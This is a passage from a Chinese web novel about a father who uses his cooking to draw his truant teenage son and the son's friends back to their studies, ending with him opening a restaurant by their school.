不光红烧排骨好吃，椒盐大虾更是令人欲罢不能，连酥脆的虾壳都恨不得一起吃掉，吃完嘴里残留的椒盐香味，更是让人上瘾。 还有酸甜开胃、果香浓郁的樱桃肉；咸鲜香辣的辣椒炒蛋；脆嫩爽口的清炒莴笋，每道菜都是那么好吃，好吃到令人心情愉悦。 楚瑾钰吃着吃着，心里那点小不爽很快消失，觉得如果能天天吃到这么美味的饭菜，那也不是不能接受他爸之前的忽略。 他吃得正香时，胡一齐眼见桌上菜越来越少，不由也跟着飞快往碗里夹，于是很快两个人就抢起来。 叶其林和商时贸对视一眼，感觉不抢就要没菜吃了，于是桌上很快陷入大战中，四人筷子抢得飞起。 “这是我爸做的菜！”眼见他们谁都不让自己，楚瑾钰忍不住开口。 胡一齐：“你爸就是我爸，咱们俩谁跟谁。”他说话的同时飞快抢了两块红烧排骨。 他们桌上打打闹闹时，附近其他学生可是被馋得不轻，闻着红烧排骨、椒盐大虾等菜的浓郁香味，感觉手里饭都不香了。 时间过得飞快，很快又到星期五，奶奶出院后就返回学校的邵言易在看到楚瑾钰他们四个准备翘掉晚自习时，犹豫两秒还是到小卖部给楚易文打了个电话告诉他。 由于受到楚易文的帮助，他奶奶没什么大事，他心里很感激，在返校后就找楚瑾钰解释清楚，他没有跟老师告状，如今双方误会算是解开，处于相安无事的状态。 楚易文收到电话向他道谢后，忍不住叹气，直接开车去学校。 “不是快上晚自习了，你们怎么还在校外？” 刚翻墙出来就被抓个正着的楚瑾钰四人组：“……” 不过很快楚瑾钰就皱眉反问：“爸，你怎么在这？” 楚易文指着校门口那边的店铺道：“那个是我们家的商铺，我在想要不要开个餐厅，方便你们吃饭。” 啊？ 四人都是一愣，随即其他三人看向楚瑾钰。 楚瑾钰：“爸……难道公司破产了？” 想到这些日子他爸竟然有空天天给他们做饭，楚瑾钰越想越觉得自己猜对了。 楚易文还真有点想顺着他的话点头，看看他会是什么反应，不过想到一个谎话要用一百个谎去圆，还是打消这个念头。 “没有，只是在公司忙了那么多年，我有点累了，准备换个轻松的事情干，而且你们马上要高三了，到时候学习压力大，在学校边开家店，你们吃饭会方便很多。” 胡一齐很想说他们压根就不怎么学习，哪来什么学习压力，但没好意思开口。 空气忽然沉默起来，最终还是楚易文开口：“马上要上课了吧？你们快去学校，我再研究一下店铺的格局，看看怎么装修。” 四人安静地走进学校，在看不到楚易文的身影时，胡一齐拍着楚瑾钰胳膊道：“就这，你还好意思说你爸不关心你？他连公司都不要了，为了让你吃饭方便，竟然要在学校门口开店！” “什么为我，明明是我们，难道你不吃？”楚瑾钰反问。 叶其林则是干咳一声后说：“再有二十多天就要期末考试了，你们说等考试成绩出来，叔叔会是什么反应？” “你问我吗？我全班第十。”商时贸道。 楚瑾钰：“谁问你了？” “就是，没人问你！” 不怪胡一齐和楚瑾钰破防，同样是不认真学习，他们俩每次考试都在班里排名垫底，然而商时贸却能保持在前十，叶其林则是在二十名前后徘徊。 商时贸见他们反应如此强烈，轻耸了下肩膀不再说话。 楚瑾钰：“我又没让他在校门口开店，是他自己闲着没事……” 说是这么说，等到走进教室时，楚瑾钰难得没在晚自习上混日子，而是翻来课本看起来。 班主任看到这一幕，欣慰地点点头，觉得找家长谈话果然还是有用。 次日是周六，楚瑾钰难得没有睡懒觉，七点多就醒来，从房间出来便闻见浓郁的香味。 “吃饭了。” 楚易文端着刚做好的香河肉饼，饼皮呈现焦黄色，看起来薄如纸片，微微透出里面红润的肉馅，那卖相，那香味，简直不要太馋人。 楚瑾钰忍着馋意，先拿手机拍几张照片发到群里，随即才坐下开吃。 他本来是准备发到四人群里馋胡一齐他们，结果动作太快，直接发到班级群中。有同学醒得早，看到群消息直接点开，立刻被卖相诱人的香河肉饼馋了一脸。 【@楚瑾钰你在哪买的肉饼？看起来太诱人了。】 【大早上的放毒，太过分了，我本来不准备吃早餐的……】 【给我看饿了，算了不赖床了，这就起来去吃早餐。】 楚瑾钰发完照片就直接开吃，压根没注意群里同学们发的消息，他一口咬上香河肉饼，饼皮酥脆带焦香，肉馅鲜嫩多汁，香得他眼睛都闭上。 “爸，你什么时候学的厨艺，我怎么不知道？”大半个香河肉饼下肚，楚瑾钰忍不住问。 “厨艺还用学吗？那不是有手就行。” 楚瑾钰无语过后就开始吐槽：“你也太凡尔赛了……” 不过他仔细回忆，发现从小到大还真没见过他爸学厨艺，不由怀疑起来，难道他爸真是天赋怪？ 吃早餐时，父子之间气氛倒是挺不错，吃完饭楚易文开口道：“要不要一起去菜市场？看看有没有你想吃的菜。” 楚瑾钰没怎么犹豫，直接点头答应。 当初第一次带他来码头菜市场，楚易文是为了和他谈心，今天倒是没什么目的，就是单纯带他出来买菜。 不过到达码头菜市场后，在楚易文顺手帮老人们挑菜时，楚瑾钰很快就有样学样，并把胡一齐他们召唤过来。 “你是真缺德啊，吃早餐不叫我，干苦力就知道喊我了。”胡一齐吐槽归吐槽，但看到有老人一步一步慢慢在台阶上挪动时，却是跑得比谁都快。 “奶奶我来帮你！” 等到菜都挑进菜市场，楚易文领着几个孩子在里面转悠，问他们想吃什么。 胡一齐可能是觉得刚刚那个挑冬瓜的老人特别不容易，直接用零花钱买了个冬瓜抱在怀里：“叔叔，可以吃冬瓜吗？” 他都已经买好，楚易文自然不会拒绝。 “楚瑾钰你摸摸，冬瓜还挺凉，怪不得我看网上说，古人夏天会抱冬瓜降温。”胡一齐抱着大冬瓜说。 楚瑾钰：“我不摸，你自己买的自己拿，别想骗我帮忙拿。” “你简直是以小人之心度君子之腹。” 听到他们又开始拌嘴，楚易文买完剩下的菜就直接开车带他们回家。 中午他直接用那个大冬瓜做了个冬瓜船，又炒了几个菜，可把几个孩子给吃爽了。 “下午要不要跟我一起去钓鱼？钓到的话，晚上做牡丹鱼片给你们吃。” “要！”胡一齐听到吃，肚子里的午餐还没消化完就积极响应。 下午楚易文领着他们来到河边，鱼钩刚下入没多久就钓到鱼，叶其林他们眼睛立刻就亮起来，纷纷在河边坐下，模仿着楚易文的姿势开始钓鱼。 可能是新手保护期，楚瑾钰几人很快都有鱼上钩，倒是让他们感受到钓鱼的乐趣。 期间有人给楚瑾钰他们打电话，似乎在约他们去电玩城玩，他们直接拒绝。 这个时间段的楚瑾钰四人组心思不在学习上，加上手里都不缺钱，认识不少校外闲散人员，喜欢找他们一起玩。 楚易文听出来，但没有说什么，只是在接下来的时间，温水煮青蛙，用美食将几个孩子的心都哄回学习上。 高二下学期结束，楚瑾钰期末考试考到全班第三十名，看起来好像不算高，但和他之前的成绩比起来已经进步很多。 楚易文说到做到，在他把成绩单拿回家时，直接做了顿大餐。 薯粉团、脆皮猪肘、烤羊排、辣子鸡丁这些就不说，还有清炖蟹黄狮子头。 楚易文将五花肉去皮，先切片再切丝，最后切成石榴粒大小，细切粗斩，切出来的肉粒特别漂亮。 螃蟹早就提前蒸好，蟹黄蟹肉全部拆出来备用，此时他留出部分蟹黄，将肉馅加调料打搅上劲后，将剩下的蟹黄蟹肉加进去。 肉馅调好，楚易文将掌心沾少许水开始团狮子头，肉馅在他双手间来回摔打，很快就形成个完美的肉丸，再将提前留出来的蟹黄轻轻按入狮子头顶部，一个蟹黄狮子头就完成。 狮子头全部做好，他将砂锅里倒入提前炖好的高汤，烧开后把狮子头滑进去，小火慢炖。 随着时间的流逝，蟹黄狮子头那股特有的鲜香从厨房飘出来，可把胡一齐给馋得不行。 “太香了……” 之前寒暑假时他们基本不着家，每天不是在网咖打游戏，就是在电玩城、溜冰场等地方玩，现在坐在楚瑾钰家里边打游戏边等饭吃，倒是种难得的体验。 他们现在玩的是一个双人游戏，刚刚胡一齐还在跟叶其林抢游戏手柄，好不容易抢到，这会被厨房飘来的香味馋到，他心思立刻不在游戏上，把手柄塞给叶其林。 “服了你了。”叶其林觉得他哪天要是死了，绝对是馋死的。 胡一齐才不管他，已经亲亲热热喊着“叔叔”跑进厨房，成功蹭到刚出锅的香辣花甲。 “好好吃啊，一点沙都没有，又香又辣！” 花甲肉质饱满，食材本身的鲜味配上香辣味，吃起来简直令人上瘾，胡一齐站在厨房里，不知不觉就将半碗香辣花甲吃得只剩壳，连碗底的汤汁都没浪费，直接仰头喝掉。 等到终于开饭时，那香味，简直别提有多诱人，都不用楚易文喊，楚瑾钰他们直接被馋进厨房。 当楚易文将砂锅端到饭桌上，把盖子掀开时，浓郁的鲜味瞬间飘出来，这股鲜味首先是猪肉经过长时间炖煮散发的肉香，然后是蟹肉和蟹黄的鲜味，简直令人垂涎欲滴。 蟹黄狮子头不光香味诱人，卖相更是无可挑剔，狮子头圆润饱满，上面顶着金灿灿的蟹黄，配着翠绿的青菜以及清澈见底的汤色，给人带来极致的视觉享受。 胡一齐四人望着蟹黄狮子头，不约而同咽了下口水。 楚易文听见那细微的声音，含笑用汤碗将狮子头分别盛出来，放到他们面前：“吃吧，小心烫。” 楚瑾钰迫不及待端起碗，用勺子将狮子头推到嘴边，轻轻一咬，肉质酥烂松软，轻轻一抿就在嘴里化开，马蹄的爽脆中和肉的油腻，吃起来肥而不腻。 蟹肉、蟹黄的鲜味在嘴里交织融合，形成完美平衡，简单的调味激发出食材本身的鲜美，吃完唇齿留香，回味无穷。 明明是很清淡的一道菜品，吃起来却是令人上瘾，哪怕楚瑾钰更爱重口味美食，这会都吃得根本停不下来。 他吃着香喷喷的蟹黄狮子头，心里感觉期末考试的三十名能换来如此美食，简直太值得。 这顿饭吃完，胡一齐三人是彻底舍不得离开楚瑾钰家，在楚易文的热情邀请下，他们暑假大半时间几乎都在这里度过，甚至不知不觉就把暑假作业做完。 开学后，楚瑾钰他们升入高三，与此同时，楚易文再次将盲盒餐厅开起来。 都说酒香不怕巷子深，学校边甚至不算“巷子深”，开业当天，直接就吸引不少路人，同时成功引起学生们的注意。 “天呐！怎么会有这么好吃的红烧肉！” “太好吃了，简直就是人间美味！” “这是我这辈子吃过最好吃的香菇滑鸡，鸡肉好吃就算了，香菇都这么美味，真是绝了！” 靠近厨房门口的桌子上，楚瑾钰他们同样在吃饭，听到顾客们声音里的激动，脸上都忍不住露出笑容。 开业第一天，学校里大家都知道校外开了家特别好吃的店叫盲盒餐厅，第二天时，班上同学都知道盲盒餐厅是楚瑾钰他爸开的。 由于这个缘故，楚瑾钰在班上人缘都瞬间变好，大家时不时就要问问他当天的菜单。 与此同时，由于每天最期待的事情变成吃饭，楚瑾钰他们已经很久没再翘课。四人脑子其实都很好，心思收回来后，成绩肉眼可见地进步起来。 盲盒餐厅开业一个月后，楚易文不光再次听到“楚爸”这个熟悉的称呼，并且通过曾经对顾客们的了解，很快就和来店里吃饭的老师们打好关系。 刚开始看到老师们都来店里吃饭，楚瑾钰心里还有点得意，然而在发现老师们上课时对他的特殊“照顾”时，表情立刻就变得幽怨起来。 “爸，你就不能在店门口立个牌子，禁止老师过来吃饭吗？” 楚易文：“你确定吗？” 楚瑾钰想到他爸的手艺，感觉要是不让老师吃，怕是他们更要惦记自己，最终还是摇头。 天气开始转凉后，楚瑾钰开始感受到他爸在校门口开店的好处，不管老师拖不拖堂，只要放学出来就能吃到美味热乎的饭菜，对比店里排队的顾客，简直不要太幸福。 “吃得太爽了。” 今天楚易文做了腌笃鲜，胡一齐抿一口能鲜掉眉毛的汤，再吃着爽脆的笋子和肉，露出享受的表情：“要是能天天这么吃，学习算什么，我能学到天荒地老去！” “拉倒吧，上午数学课睡着的人是谁？”楚瑾钰轻哼着道。 胡一齐：“说得跟你没上课睡过觉一样……” 楚易文卖完最后几份饭就听见他们又在拌嘴，轻笑着摇摇头。 在他开店后就直接邀请李老太太过来上班，如今一切步上正轨，让他有种回到从前的感觉。 “楚爸，你做的腌笃鲜太好吃了！你怎么这么厉害，简直就是厨神在世！” 见胡一齐又开始对着他爸灌迷魂汤，楚瑾钰道：“爸，他一个人把腌笃鲜都抢完了，我都没吃够。” “哪有！你明明吃了一大碗！”胡一齐立刻反驳。 楚易文直接将自己的腌笃鲜分给儿子一半，看到他端着碗对胡一齐露出炫耀的表情，唇角不自觉上扬。 店外寒风阵阵，然而店内却是很温暖，顾客们不少还在埋头吃饭，时不时发出几声“好吃”的感叹。 李老太太收拾完空桌，也笑着坐下来开始吃饭，邵言易坐在旁边替她剥着虾，一切看起来都是那么美好。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m